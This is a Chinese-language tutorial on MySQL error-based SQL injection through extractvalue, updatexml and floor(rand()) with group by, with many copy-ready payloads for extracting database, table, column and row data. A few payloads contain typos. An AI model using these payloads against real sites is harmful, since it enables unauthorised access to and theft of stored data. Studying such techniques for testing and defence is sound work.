1. 程式人生 > 實用技巧 >SQL注入漏洞--報錯注入

SQL注入漏洞--報錯注入

報錯注入

報錯注入在沒法用union聯合查詢時用,但前提還是不能過濾一些關鍵的函式。

報錯注入就是利用了資料庫的某些機制,人為地製造錯誤條件,使得查詢結果能夠出現在錯誤資訊中。

具體原理請參考:https://www.cnblogs.com/richardlee97/p/10617115.html

利用函式

xpath語法錯誤

利用xpath語法錯誤來進行報錯注入主要利用extractvalueupdatexml兩個函式。
使用條件:mysql版本>5.1.5

extractvalue函式

函式原型:extractvalue(xml_document,Xpath_string)
正常語法:extractvalue(xml_document,Xpath_string);
第一個引數:xml_document是string格式,為xml文件物件的名稱
第二個引數:Xpath_string是xpath格式的字串
作用:從目標xml中返回包含所查詢值的字串

第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,並且將查詢結果放在報錯資訊裡,因此可以利用。

pyload:id='and(select extractvalue("anything",concat('~',(select語句))))

例如:

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
查資料庫名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆欄位名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆資料:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

updataxml函式

函式原型:updatexml(xml_document,xpath_string,new_value)
正常語法:updatexml(xml_document,xpath_string,new_value)
第一個引數:xml_document是string格式,為xml文件物件的名稱 第二個引數:xpath_string是xpath格式的字串
第三個引數:new_value是string格式,替換查詢到的負荷條件的資料 作用:改變文件中符合條件的節點的值

payload:id='and(select updatexml("anything",concat('~',(select語句())),"anything"))

例如:

'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))

爆資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

concat+rand()+group_by()導致主鍵重複

這種報錯方法的本質是因為floor(rand(0)*2)的重複性,導致group by語句出錯。group by key的原理是迴圈讀取資料的每一行,將結果保存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中更新臨時表的資料;如果key不在臨時表中,則在臨時表中插入key所在行的資料。

rand():

生成0~1之間的隨機數,可以給定一個隨機數的種子,對於每一個給定的種子,rand()函式都會產生一系列可以復現的數字

floor():

對任意正或者負的十進位制值向下取整

通常利用這兩個函式的方法是floor(rand(0))*2,其會生成0和1兩個數

group by

group by是根據一個或多個列對結果集進行分組的sql語句,其用法為:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name

常見的payload為:

'union select 1 from (select count(*),concat((slelect語句),floor(rand(0)*2))x from "一個足大的表" group by x)a--+

例如:

'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+ 利用information_schema.tables表,相似的還可以用information_schema.columns等

了使結構能夠更方便的檢視,可以在concat()中新增一些內容

'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

之後還是將select語句改為一般的注入語句就可以:

爆資料庫名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆資料:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

不能使用group_concat函式,所以用limit語句來限制查詢結果的列數

十種報錯注入

其他方法不太常用,詳情:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

參考連結:https://blog.csdn.net/silence1_/article/details/90812612